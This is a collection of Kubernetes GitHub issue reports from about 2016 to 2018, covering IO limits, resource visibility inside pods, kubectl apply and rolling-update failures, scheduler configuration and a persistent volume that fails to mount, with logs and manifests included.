kubernetes version:\r  1.6.3-release \r system:\r  centos 7.3 /3.10.0-514.21.2.el7.x86_64 \r the phenomenon is as follows:\r the io write speed of containers managed by k8s is limited to 1-30mb/s.\r however, the use of docker run directly to the container io write speed and the host quite. i looked at the k8s pod level of the cgroup structure. did not find io limit related settings.\r please help me !!!\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : there is no generator for statefulset and daemonset listed  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory_client_access.go l461-l488 .\r \r   what you expected to happen  : there is one for statefulset and daemonset.\r \r   how to reproduce it  as minimally and precisely as possible   : n/a\r \r \r   anything else we need to know?  : having the generator will facilitate testing.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r pull-kubernetes-e2e-gce-bazel failed in pr https://github.com/kubernetes/kubernetes/pull/51889 for many times. but seems not relevant to this pr. a couple of pr tests also generates the failure.\r \r ref https://github.com/kubernetes/kubernetes/pull/52479, https://github.com/kubernetes/kubernetes/pull/52406, https://github.com/kubernetes/kubernetes/pull/51889, etc.\r \r   log: not list all   \r \r error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/go/src/k8s.io/kubernetes/_artifacts --disable-log-dump=true: exit status 1\r \r   what you expected to happen  :\r test pass\r   how to reproduce it  as minimally and precisely as possible   :\r just trigger the job normally.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i create pod with resource config like this：\r           limits:\r             cpu: 10m\r             memory: 20mi\r           requests:\r             cpu: 10m\r             memory: 20mi\r \r but when i enter the pod with bash，i find cpu and memory config are from host\r /   free\r              total         used         free       shared      buffers\r mem:       8010284      4855560      3154724            0         1436\r -/+ buffers:            4854124      3156160\r swap:      2097148            0      2097148\r /   cat /proc/cpuinfo| grep \ processor\ | wc -l\r 8\r \r how can i get cpu and memory config from pod？

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r  controller  skips resolving priorityclassname  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/priority/admission.go l159  of mirror pods. this is an error and should be removed.\r \r   what you expected to happen  :\r integer value of  be populated by the admission controller.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a static pod with priorityclassname set. the created mirror pod will not get the integer value of priority.\r \r  xref  58379

it's possible to cause a resource to be deleted during  kubectl apply  when the updated resource being applied is invalid  or results in other server side errors .\r \r     steps to reproduce\r 1. create an  example replication controller  https://kubernetes.io/docs/concepts/workloads/controllers/replicationcontroller/ \r \r    yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nginx\r spec:\r   replicas: 1\r   selector:\r     app: nginx\r   template:\r     metadata:\r       name: nginx\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r    \r \r 2. create a local file containing a patched version of the replication controller to update  spec.template.labels app =junk   to cause a selector mismatch \r \r    \r kubectl get rc/nginx -o yaml > /tmp/nginx.yaml\r    \r \r 3. use  apply  to update the replication controller from the local file:\r \r    \r kubectl apply --overwrite --force -f /tmp/nginx.yaml\r    \r \r     what happens\r \r output:\r \r    \r the replicationcontroller \ nginx\  is invalid: spec.template.metadata.labels: invalid value: map string string{\ app\ :\ junk\ }:  selector  does not match template  labels \r    \r \r and the  nginx  replication controller is deleted.\r \r     expectations\r \r from the  --force  flag docs:\r \r    \r --force=false: delete and re-create the specified resource, when patch encounters conflict and has retried for 5\r times.\r    \r \r in this case the server side error doesn't seem to be a conflict  in terms of a merge conflict, or a resource version conflict . it's a validation error. given the resource failed validation, i didn't expect the apply target on the server side to be deleted.\r \r     research/discussion\r \r the  relevant patch code  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/apply.go l668  looks suspicious: if  --force=true  and  any non-conflict error is encountered , it seems the command will delete the target unconditionally and then try to create.\r \r discussion starter: should  apply  exit with an error  and no-op  if a non-conflict error is encountered during the patch attempt?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10   head  \r - os  e.g. from /etc/os-release : darwin/amd64\r \r  @kubernetes/sig-cli-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  : \r since the configuration of the provider is imported during the initialization phase, if some of the configuration of the provider is updated, such as when the password is updated, then the cloud-provider will fail to use the original password. the configuration file must be updated and the controller must be restarted to use the new password. re-certify.\r \r   what you expected to happen  :\r why does cloud-provider not support dynamic update configuration, especially passwords, or if there is a plan or proposal for this requirement?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-api-machinery-feature-requests\r @kubernetes/sig-openstack-feature-requests\r   /area cloudprovider

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i am trying to disable preemption with pod  on a 1.11.0 cluster. i was following  these instructions  https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/ how-to-disable-preemption  from the official documentation, which says that this can be accomplished by turning off preemption via the  kubeschedulerconfiguration  under the  componentconfig  api. attempting this gives me an error saying  no matches for kind \ kubeschedulerconfiguration\  in version \ componentconfig/v1alpha1\  \r \r i explicitly enabled  componentconfig/v1alpha1: \ true\  . however, it is not showing up in the  kubectl api-versions  list, even after a rolling restart and manually cycling the master nodes. i also double checked that all of the nodes are on 1.11.0.\r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r i have this file saved as  schedulertest.yaml \r    \r apiversion: componentconfig/v1alpha1\r kind: kubeschedulerconfiguration\r algorithmsource:\r   provider: defaultprovider\r disablepreemption: true\r    \r to reproduce\r    \r  $ kubectl apply -f schedulertest.yaml\r error: unable to recognize \ schedulertest.yaml\ : no matches for kind \ kubeschedulerconfiguration\  in version \ componentconfig/v1alpha1\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:36:34z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r  debian gnu/linux 8  jessie  \r - kernel  e.g.  uname -a  :\r  linux  ...   1 smp sat may 26 22:32:45 utc 2018 x86_64 gnu/linux \r - install tools:\r - others:

i want to revisit the resource requirements for kube-addons now that we have qos.  all of the  kube-addons  that are added to the cluster are guaranteed qos for the cpu and memory enumerated resources.  i would like to reduce the amount of resource required by the  kube-addons  if possible so i can spin up a smaller sized cluster and still deploy some basic things without needing multiple nodes.   questions: - can we update to use requests instead of explicit limits?   - can we set requests to half the limits?    at minimum, it seems like we should be using requests for cpu since that is what most closely aligns to  cpu-shares  unless you enable the kubelet flag to enforce limits via cfs quota.  thoughts?  @kubernetes/goog-cluster

using  v1.2.0-beta.0  and running  --apiserver-count=2  in my cluster. i would expect the service endpoint to be cleaned up when one of them goes offline. this doesn't happen though, and causes ~50% of apiserver requests to fail.

raised by @deads2k in https://github.com/kubernetes/kubernetes/issues/21577 issuecomment-199379149  cc @fgrzadkowski @jszczepkowski @mwielgus @kubernetes/autoscaling

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when i was trying to upgrade when using rolling-update for a long time, there is no complete  just a simple nginx , this time i will use the control+c to terminate, then makes me unable to delete pod\r \r   what you expected to happen  :\r how to use rolling-update to upgrade pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.6.2\r - cloud provider or hardware configuration  :\r dell r620\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux a03-r07-i9-73.jd.local 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r the old pod was deleted, but a new one came out again\r ! image  https://user-images.githubusercontent.com/17898805/28779463-d27eaeac-7635-11e7-9fa6-20603ad6da28.png \r \r here is the pod for this json\r  kubectl get pods my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w  -o=json > my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w.json\r  {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ my-nginx-91c06554c6a15b632a933ab2f6abacbf\\\ ,\\\ uid\\\ :\\\ 395beae3-75eb-11e7-b80d-6c92bf4da32c\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 1159891\\\ }}\ \ \r         },\r         \ creationtimestamp\ : \ 2017-07-31t13:14:08z\ ,\r         \ generatename\ : \ my-nginx-91c06554c6a15b632a933ab2f6abacbf-\ ,\r         \ labels\ : {\r             \ deployment\ : \ 91c06554c6a15b632a933ab2f6abacbf\ ,\r             \ run\ : \ my-nginx\ \r         },\r         \ name\ : \ my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w\ ,\r         \ namespace\ : \ default\ ,\r         \ ownerreferences\ :  \r             {\r                 \ apiversion\ : \ v1\ ,\r                 \ blockownerdeletion\ : true,\r                 \ controller\ : true,\r                 \ kind\ : \ replicationcontroller\ ,\r                 \ name\ : \ my-nginx-91c06554c6a15b632a933ab2f6abacbf\ ,\r                 \ uid\ : \ 395beae3-75eb-11e7-b80d-6c92bf4da32c\ \r             }\r          ,\r         \ resourceversion\ : \ 1160663\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w\ ,\r         \ uid\ : \ 2297e8df-75f2-11e7-b80d-6c92bf4da32c\ \r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ image\ : \ bj01rg.jcloud.com:5000/tengine-2.2.0:v2\ ,\r                 \ imagepullpolicy\ : \ always\ ,\r                 \ name\ : \ my-nginx\ ,\r                 \ ports\ :  \r                     {\r                         \ containerport\ : 80,\r                         \ protocol\ : \ tcp\ \r                     }\r                  ,\r                 \ resources\ : {},\r                 \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ terminationmessagepolicy\ : \ file\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                         \ name\ : \ default-token-6h5b9\ ,\r                         \ readonly\ : true\r                     }\r                  \r             }\r          ,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ nodename\ : \ 172.27.9.79\ ,\r         \ restartpolicy\ : \ always\ ,\r         \ schedulername\ : \ default-scheduler\ ,\r         \ securitycontext\ : {},\r         \ serviceaccount\ : \ default\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ volumes\ :  \r             {\r                 \ name\ : \ default-token-6h5b9\ ,\r                 \ secret\ : {\r                     \ defaultmode\ : 420,\r                     \ secretname\ : \ default-token-6h5b9\ \r                 }\r             }\r          \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-07-31t13:13:14z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-07-31t13:13:14z\ ,\r                 \ message\ : \ containers with unready status:  my-nginx \ ,\r                 \ reason\ : \ containersnotready\ ,\r                 \ status\ : \ false\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-07-31t13:14:08z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r         \ containerstatuses\ :  \r             {\r                 \ containerid\ : \ docker://0216e65fed107b57c77e459e3366743addb272dd14cf5a2579c5cccd92f0e92c\ ,\r                 \ image\ : \ bj01rg.jcloud.com:5000/tengine-2.2.0:v2\ ,\r                 \ imageid\ : \ docker-pullable://bj01rg.jcloud.com:5000/tengine-2.2.0@sha256:f0b1bf5909ca06c3b77fa6c7fe43f0ed6c8d014d57ad533fc3e284fda4efd3b9\ ,\r                 \ laststate\ : {\r                     \ terminated\ : {\r                         \ containerid\ : \ docker://0216e65fed107b57c77e459e3366743addb272dd14cf5a2579c5cccd92f0e92c\ ,\r                         \ exitcode\ : 0,\r                         \ finishedat\ : \ 2017-07-31t13:14:03z\ ,\r                         \ reason\ : \ completed\ ,\r                         \ startedat\ : null\r                     }\r                 },\r                 \ name\ : \ my-nginx\ ,\r                 \ ready\ : false,\r                 \ restartcount\ : 3,\r                 \ state\ : {\r                     \ waiting\ : {\r                         \ message\ : \ back-off 40s restarting failed container=my-nginx pod=my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w_default 2297e8df-75f2-11e7-b80d-6c92bf4da32c \ ,\r                         \ reason\ : \ crashloopbackoff\ \r                     }\r                 }\r             }\r          ,\r         \ hostip\ : \ 172.27.9.79\ ,\r         \ phase\ : \ running\ ,\r         \ podip\ : \ 172.30.32.2\ ,\r         \ qosclass\ : \ besteffort\ ,\r         \ starttime\ : \ 2017-07-31t13:13:14z\ \r     }\r } \r \r \r   @@@ ~   kubectl describe pod my-tengine-v2-2dfbf  \r name:           my-tengine-v2-2dfbf\r namespace:      default\r node:           172.27.9.73/172.27.9.73\r start time:     mon, 31 jul 2017 21:24:16 +0800\r labels:         run=my-tengine-v2\r                 version=v2\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ default\ ,\ name\ :\ my-tengine-v2\ ,\ uid\ :\ 8cf90c68-75f3-11e7-b80d-6c92bf4...\r status:         running\r ip:             172.30.60.3\r controllers:    replicationcontroller/my-tengine-v2\r containers:\r   my-tengine:\r     container id:       docker://4a00fbf3fe812a0473a9c90e583b613eb1c2c2cf89203925ab7e5f2b0deea722\r     image:              bj01rg.jcloud.com:5000/tengine-2.2.0:v2\r     image id:           docker-pullable://bj01rg.jcloud.com:5000/tengine-2.2.0@sha256:f0b1bf5909ca06c3b77fa6c7fe43f0ed6c8d014d57ad533fc3e284fda4efd3b9\r     port:               80/tcp\r     state:              waiting\r       reason:           crashloopbackoff\r     last state:         terminated\r       reason:           completed\r       exit code:        0\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         mon, 31 jul 2017 21:27:09 +0800\r     ready:              false\r     restart count:      5\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-6h5b9  ro \r conditions:\r   type          status\r   initialized   true \r   ready         false \r   podscheduled  true \r volumes:\r   default-token-6h5b9:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-6h5b9\r     optional:   false\r qos class:      besteffort\r node-selectors: <none>\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath                   type reason           message\r   ---------     --------        -----   ----                    -------------                   --------      ------          -------\r   4m            4m              1       default-scheduler                                       normascheduled        successfully assigned my-tengine-v2-2dfbf to 172.27.9.73\r   4m            4m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normacreated          created container with id 45562f120d521358076da5bd9aa10359775d167a2dd6e2159646d49a90315e5f\r   4m            4m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normastarted          started container with id 45562f120d521358076da5bd9aa10359775d167a2dd6e2159646d49a90315e5f\r   4m            4m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normacreated          created container with id a2c2c554428da27a41cd3449f188937ed1ce085083b9ca14a996fc66191de803\r   4m            4m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normastarted          started container with id a2c2c554428da27a41cd3449f188937ed1ce085083b9ca14a996fc66191de803\r   4m            4m              2       kubelet, 172.27.9.73                                    warning               failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ my-tengine\  with crashloopbackoff: \ back-off 10s restarting failed container=my-tengine pod=my-tengine-v2-2dfbf_default 8d068c33-75f3-11e7-b80d-6c92bf4da32c \ \r \r   4m    4m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  created      created container with id d24853a6b72c780e341d798377470a6ed823d1bc7bff5b5f7c73b870116a2119\r   4m    4m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  started      started container with id d24853a6b72c780e341d798377470a6ed823d1bc7bff5b5f7c73b870116a2119\r   3m    3m      2       kubelet, 172.27.9.73                                    warning failedsync   error syncing pod, skipping: failed to \ startcontainer\  for \ my-tengine\  with crashloopbackoff: \ back-off 20s restarting failed container=my-tengine pod=my-tengine-v2-2dfbf_default 8d068c33-75f3-11e7-b80d-6c92bf4da32c \ \r \r   3m    3m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  created      created container with id 7b8bf21fd3a8ce5c507036d67417ee04bcec3e117e8d797b2be5554b8ae617cb\r   3m    3m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  started      started container with id 7b8bf21fd3a8ce5c507036d67417ee04bcec3e117e8d797b2be5554b8ae617cb\r   3m    3m      3       kubelet, 172.27.9.73                                    warning failedsync   error syncing pod, skipping: failed to \ startcontainer\  for \ my-tengine\  with crashloopbackoff: \ back-off 40s restarting failed container=my-tengine pod=my-tengine-v2-2dfbf_default 8d068c33-75f3-11e7-b80d-6c92bf4da32c \ \r \r   2m    2m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  started      started container with id a5e29cc2cb3b725a013a41ce9cbd9522ed9250179668cc37a20966356b5a6035\r   2m    2m      1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  created      created container with id a5e29cc2cb3b725a013a41ce9cbd9522ed9250179668cc37a20966356b5a6035\r   2m    1m      6       kubelet, 172.27.9.73                                    warning failedsync   error syncing pod, skipping: failed to \ startcontainer\  for \ my-tengine\  with crashloopbackoff: \ back-off 1m20s restarting failed container=my-tengine pod=my-tengine-v2-2dfbf_default 8d068c33-75f3-11e7-b80d-6c92bf4da32c \ \r \r   4m    1m              6       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  pullecontainer image \ bj01rg.jcloud.com:5000/tengine-2.2.0:v2\  already present on machine\r   1m    1m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  created               created container with id 4a00fbf3fe812a0473a9c90e583b613eb1c2c2cf89203925ab7e5f2b0deea722\r   1m    1m              1       kubelet, 172.27.9.73    spec.containers{my-tengine}     normal  started               started container with id 4a00fbf3fe812a0473a9c90e583b613eb1c2c2cf89203925ab7e5f2b0deea722\r   4m    <invalid>       24      kubelet, 172.27.9.73    spec.containers{my-tengine}     warning backoff               back-off restarting failed container\r   1m    <invalid>       11      kubelet, 172.27.9.73                                    warning failedsync    error syncing pod, skipping: failed to \ startcontainer\  for \ my-tengine\  with crashloopbackoff: \ back-off 2m40s restarting failed container=my-tengine pod=my-tengine-v2-2dfbf_default 8d068c33-75f3-11e7-b80d-6c92bf4da32c \ \r  \r \r \r \r   @@@ kube   kubectl rolling-update my-tengine -f my-tengine-v2.yaml \r created my-tengine-v2\r scaling up my-tengine-v2 from 0 to 2, scaling down my-tengine from 2 to 0  keep 2 pods available, don't exceed 3 pods \r scaling my-tengine-v2 up to 1\r error: timed out waiting for any update progress to be made\r  @@@ kube   kubectl get pods                                            \r name                                              ready     status             restarts   age\r my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w   0/1       crashloopbackoff   8          16m\r my-tengine-clzjw                                  1/1       running            0          10m\r my-tengine-ds19j                                  1/1       running            0          10m\r my-tengine-v2-2dfbf                               0/1       crashloopbackoff   6          6m\r  @@@ kube   cat my-tengine.yaml \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: my-tengine\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         run: my-tengine\r     spec:\r       containers:\r       - name: my-tengine\r         image: bj01rg.jcloud.com:5000/tengine-2.2.0\r         ports:\r         - containerport: 80\r  @@@ kube   cat my-tengine-v2.yaml \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: my-tengine-v2\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         run: my-tengine-v2\r         version: v2\r     spec:\r       containers:\r       - name: my-tengine\r         image: bj01rg.jcloud.com:5000/tengine-2.2.0:v2\r         ports:\r         - containerport: 80\r  @@@kube  \r  @@@ kube   kubectl get pods\r name                                              ready     status             restarts   age\r my-nginx-91c06554c6a15b632a933ab2f6abacbf-9g72w   0/1       crashloopbackoff   8          18m\r my-tengine-clzjw                                  1/1       running            0          12m\r my-tengine-ds19j                                  1/1       running            0          12m\r my-tengine-v2-2dfbf                               0/1       crashloopbackoff   6          8m\r   \r thank you for your help, thank you!\r \r

hi,\r \r \t>> kubectl get pods --all-namespaces | grep dashboard\r \tresult ;\r \tthe connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r ----\r \r \t>> kubectl create -f https://git.io/kube-dashboard\r \r \tresult ; \r \r \tthe connection to the server localhost:8080 was refused - did you specify the right host or port?

hi, \r i recently deleted a statefulset, and then recreated it - and it wouldn't start due to a timeout waiting for the storage to complete  gke, kubernetes 1.7.2 .\r \r the statefulset:\r    \r $ kg describe pod gocd-master-0\r name:\t\tgocd-master-0\r namespace:\tgocd\r node:\t\tgke-peopledata-preprod-default-pool-4847aa8e-nfb2/10.34.96.2\r start time:\ttue, 08 aug 2017 12:20:24 +0000\r labels:\t\tapp=master\r \t\tcontroller-revision-hash=gocd-master-32721748\r \t\ttier=gocd\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ gocd\ ,\ name\ :\ gocd-master\ ,\ uid\ :\ 7832de11-7c30-11e7-8837-42010a8400ee\ ,\ apivers...\r status:\t\tpending\r ip:\r created by:\tstatefulset/gocd-master\r controlled by:\tstatefulset/gocd-master\r containers:\r   master:\r     container id:\r     image:\t\teu.gcr.io/peopledata-product-team/kube-gocd-master:latest\r     image id:\r     ports:\t\t8153/tcp, 8154/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     environment:\r       agent_auto_register_key:\t<set to the key 'agent_key' in secret 'kube-gocd'>\toptional: false\r       go_username:\t\t<set to the key 'user' in secret 'kube-gocd'>\t\toptional: false\r       go_password:\t\t<set to the key 'pass' in secret 'kube-gocd'>\t\toptional: false\r     mounts:\r       /godata from gocd-master-data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-9n0qw  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   gocd-master-data:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tgocd-master-data-gocd-master-0\r     readonly:\tfalse\r   default-token-9n0qw:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-9n0qw\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t-------------\t--------\t------\t\t\t-------\r   2m\t\t2m\t\t1\tdefault-scheduler\t\t\t\t\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned gocd-master-0 to gke-peopledata-preprod-default-pool-4847aa8e-nfb2\r   2m\t\t2m\t\t1\tkubelet, gke-peopledata-preprod-default-pool-4847aa8e-nfb2\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-9n0qw\ \r   51s\t\t51s\t\t1\tkubelet, gke-peopledata-preprod-default-pool-4847aa8e-nfb2\t\t\twarning\t\tfailedmount\t\tunable to mount volumes for pod \ gocd-master-0_gocd f4a02b5d-7c33-11e7-8837-42010a8400ee \ : timeout expired waiting for volumes to attach/mount for pod \ gocd\ /\ gocd-master-0\ . list of unattached/unmounted volumes= gocd-master-data \r   51s\t\t51s\t\t1\tkubelet, gke-peopledata-preprod-default-pool-4847aa8e-nfb2\t\t\twarning\t\tfailedsync\t\terror syncing pod\r    \r the pvc  showing as bound, if i delete the ss, it still shows as bound :\r    \r $ kg get pvc\r name                                              status    volume                                     capacity   accessmodes   storageclass   age\r gocd-master-data-gocd-master-0                    bound     pvc-7837cc0e-7c30-11e7-8837-42010a8400ee   75gi       rwo           standard       36m\r    \r \r the pv:\r    \r $ kg get pv\r name                                       capacity   accessmodes   reclaimpolicy   status    claim                                                  \r pvc-7837cc0e-7c30-11e7-8837-42010a8400ee   75gi       rwo           delete          bound     gocd/gocd-master-data-gocd-master-0                    standard                 36m\r    \r \r the disk:\r    \r $ gcloud compute disks describe gke-peopledata-preprod-pvc-7837cc0e-7c30-11e7-8837-42010a8400ee --zone=europe-west1-d\r creationtimestamp: '2017-08-08t04:55:28.855-07:00'\r description: '{\ kubernetes.io/created-for/pv/name\ :\ pvc-7837cc0e-7c30-11e7-8837-42010a8400ee\ ,\ kubernetes.io/created-for/pvc/name\ :\ gocd-master-data-gocd-master-0\ ,\ kubernetes.io/created-for/pvc/namespace\ :\ gocd\ }'\r id: '8460603997884258399'\r kind: compute disk\r labelfingerprint: 42wmspb8rsm=\r lastattachtimestamp: '2017-08-08t04:55:36.139-07:00'\r lastdetachtimestamp: '2017-08-08t05:26:30.662-07:00'\r name: gke-peopledata-preprod-pvc-7837cc0e-7c30-11e7-8837-42010a8400ee\r selflink: https://www.googleapis.com/compute/v1/projects/peopledata-product-team/zones/europe-west1-d/disks/gke-peopledata-preprod-pvc-7837cc0e-7c30-11e7-8837-42010a8400ee\r sizegb: '75'\r status: ready\r type: https://www.googleapis.com/compute/v1/projects/peopledata-product-team/zones/europe-west1-d/disktypes/pd-standard\r zone: https://www.googleapis.com/compute/v1/projects/peopledata-product-team/zones/europe-west1-d\r    \r \r i've left it a good 10 minutes now to see if it fixes itself, but it hasn't, and now i'm unable to start the statefulset.

